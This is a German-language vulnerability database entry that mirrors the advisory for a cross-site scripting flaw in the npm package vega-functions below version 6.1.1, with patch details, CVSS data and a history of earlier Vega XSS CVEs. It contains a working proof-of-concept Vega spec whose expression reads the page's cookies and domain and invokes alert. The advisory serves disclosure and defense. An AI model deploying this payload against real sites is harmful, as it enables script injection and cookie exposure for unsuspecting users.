Hoch

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Veröffentlicht: 05.01.2026
Aktualisiert: 11.10.2026 10:22

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	vega-functions	< 6.1.1	6.1.1

Verweise

CVSS-Wert 7.2/10

CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Schwäche (CWE): CWE-79
Plattform: npm
Paket: vega-functions
Veröffentlicht: 05.01.2026
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-m9rg-mr6g-75gm - CC BY 4.0

Schwachstellenhistorie: vega-functions

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 5
Erste → letzte: 03.2023 01.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 1
Mittel 4

Veröffentlichungen pro Jahr

2023: 2
2024: 0
2025: 2
2026: 1

05.01.2026

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function dieser Eintrag

Hoch · 7.2 CVE-2025-66648 < 6.1.1 6.1.1
27.03.2025

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Mittel CVE-2025-27793 < 5.17.0 5.17.0
27.03.2025

Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter

Mittel · 6.1 CVE-2025-26619 < 5.16.0 5.16.0
02.03.2023

Vega Expression Language `scale` expression function Cross Site Scripting

Mittel · 6.1 CVE-2023-26486 < 5.13.1 5.13.1
02.03.2023

Vega has Cross-site Scripting vulnerability in `lassoAppend` function

Mittel · 6.1 CVE-2023-26487 < 5.13.1 5.13.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden